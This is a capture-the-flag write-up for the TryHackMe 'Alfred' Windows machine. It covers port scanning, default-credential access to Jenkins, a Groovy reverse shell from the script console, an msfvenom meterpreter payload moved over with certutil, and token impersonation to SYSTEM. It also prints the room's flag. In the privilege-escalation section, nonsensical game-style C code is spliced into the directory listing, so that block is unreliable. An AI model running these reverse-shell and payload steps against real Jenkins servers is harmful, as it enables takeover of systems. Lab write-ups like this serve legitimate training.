

Alfred - Tryhackme

Nmap Scan :

```
~ took 1s
→ sudo nmap -v -T 5 -p- -r alfred.thm -sV -sT -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-21 12:45 IST
NSE: Loaded 45 scripts for scanning.
Initiating Connect Scan at 12:45
Scanning alfred.thm (10.10.41.147) [65535 ports]
Discovered open port 80/tcp on 10.10.41.147
Discovered open port 3389/tcp on 10.10.41.147
Discovered open port 8080/tcp on 10.10.41.147
Completed Connect Scan at 12:58, 788.02s elapsed (65535 total ports)
Initiating Service scan at 12:58
Scanning 3 services on alfred.thm (10.10.41.147)
Completed Service scan at 12:59, 98.10s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.41.147.
Initiating NSE at 12:59
Completed NSE at 12:59, 0.78s elapsed
Initiating NSE at 12:59
Completed NSE at 12:59, 0.62s elapsed
Nmap scan report for alfred.thm (10.10.41.147)
Host is up (0.15s latency).
Not shown: 65532 filtered ports

PORT      STATE SERVICE          VERSION
80/tcp    open  http             Microsoft IIS httpd 7.5
3389/tcp  open  ssl/ms-wbt-server?
8080/tcp  open  http             Jetty 9.4.z-SNAPSHOT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 887.75 seconds
```

Open Ports : 80, 3389, 8080.

FFUF Directory scan :

The directory scan turned up empty. So, I moved on to port 8080.

```
ffuf -c -u http://alfred.thm:80/FUZZ -w '/home/maskman/Documents/dirbuster/wordlists/directory-list-2.3-medium.txt'
```

```
Method : GET
URL : http://alfred.thm:80/FUZZ
Wordlist : FUZZ:/home/maskman/Documents/dirbuster/wordlists/directory-list-2.3-medium.txt
Follow redirects : false
Calibration : false
Timeout : 10
Threads : 40
Matcher : Response status: 200,204,301,302,307,401,403,405
```

```
# This work is licensed under the Creative Commons [Status: 200, Size: 289, Words: 18, Lines: 12]
# Priority ordered case sensitive list, where entries were found [Status: 200, Size: 289, Words: 18, Lines: 12]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 289, Words: 18, Lines: 12]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 289, Words: 18, Lines: 12]
# directory-list-2.3-medium.txt [Status: 200, Size: 289, Words: 18, Lines: 12]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 289, Words: 18, Lines: 12]
# on at least 2 different hosts [Status: 200, Size: 289, Words: 18, Lines: 12]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 289, Words: 18, Lines: 12]
# Copyright 2007 James Fisher [Status: 200, Size: 289, Words: 18, Lines: 12]
:: Progress: [220560/220560] :: Job [1/1] :: 263 req/sec :: Duration: [0:15:10] :: Errors: 0 ::
took 15m10s
```

Initial Foothold :

There was a login page in port 8080. Luckily the admin was using default credentials.



Welcome to Jenkins!

☐ Keep me signed in

There was a hint in the machine's task 1 which asks us to find a feature which executes commands in the underlying system. That feature is script console. It uses apache groovy script. So, I found a reverse shell script on github by chris frohoff.

```
revsh.groovy
1 String host="localhost";
2 int port=8044;
3 String cmd="cmd.exe";
4 Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream()
```

Jenkins

New Item

People

Build History

Manage Jenkins

My Views

Lockable Resources

Credentials

New View

Build Queue
No builds in the queue.

Build Executor Status
1 Idle
2 Idle

Script Console

Type in an arbitrary [Groovy script](#) and execute it on the server. Useful for trouble-shooting and diagnostics. Use the 'println' command to see the output (if you use System.out, it will go to the server's stdout, which is harder to see.) Example:
println(Jenkins.instance.pluginManager.plugins)

All the classes from all the plugins are visible. jenkins.*, jenkins.model.*, hudson.*, and hudson.model.* are pre-imported.

```
1 String host="10.10.10.10";
2 int port=8080;
3 String cmd="cmd.exe";
4 Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream()
```

Run

As soon as I ran the script, It gave me a reverse shell instantly and got the user flag.

```

~
→ rlwrap nc -lvnp 6666
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 10.10.41.147.
Ncat: Connection from 10.10.41.147:49239.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Jenkins>_

```

```

cd Desktop
cd Desktop

dir
dir
Volume in drive C has no label.
Volume Serial Number is E033-3EDD

Directory of C:\Users\bruce\Desktop

10/25/2019  11:22 PM    <DIR>          .
10/25/2019  11:22 PM    <DIR>          ..
10/25/2019  11:22 PM                32 user.txt
                1 File(s)                32 bytes
                2 Dir(s)  20,375,289,856 bytes free

type user.txt
type user.txt
C:\Users\bruce\Desktop>_

```

Privilege Escalation :

Then, I generated a payload and transferred it to target machine using python's httpserver and window's certutil.

```

~
QTBare - R. [ip:192.168.1.100] (5072)
→ msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[redacted] LPORT=7777 -f exe -o jenkins.exe
[~] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: jenkins.exe

```

```

player_t p;
int i;
for(i=0; i<MAXPLAYERS; i++)
    player[i].didsecret = true;
int i;
player[0].didsecret = true;
killcount = player[player.killcount];
killcount = player[player.killcount];
player[secretcount];
p = &player[player];
memset(p, 0, sizeof(p));
memcpy(player[player].frags, frags, sizeof(player[player].frags));
player[player].killcount = killcount;
Volume in drive C has no label.
Volume Serial Number is E033-3EDD
p->scoredown = p->startclockdown = true; // don't do anything immediately
p->playerstate = PST_DEAD;
Directory of C:\Users\bruce\Desktop
p->readyweapon = p->endingweapon = wp_pistol;
10/21/2021 10:17 AM <DIR> .
10/21/2021 10:17 AM <DIR> ..
10/21/2021 10:17 AM 73,802 jenkins.exe
10/25/2019 11:22 PM 32 user.txt
2 File(s) 73,834 bytes
2 Dir(s) 20,375,031,808 bytes free
jenkins.exe
jenkins.exe
C:\Users\bruce\Desktop>_

```

I ran the payload and got the meterpreter shell. I've already got admin privileges by migrating process and using get system. But, I wanted to do it using the mentioned way in task 3. I got a shell with admin privileges and got the root flag.

```

meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

```



```
meterpreter > shell
Process 2736 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type C:\Windows\System32\config\root.txt
type C:\Windows\System32\config\root.txt
dff0f748678f280250f25a45b8046b4a

C:\Windows\system32>_
```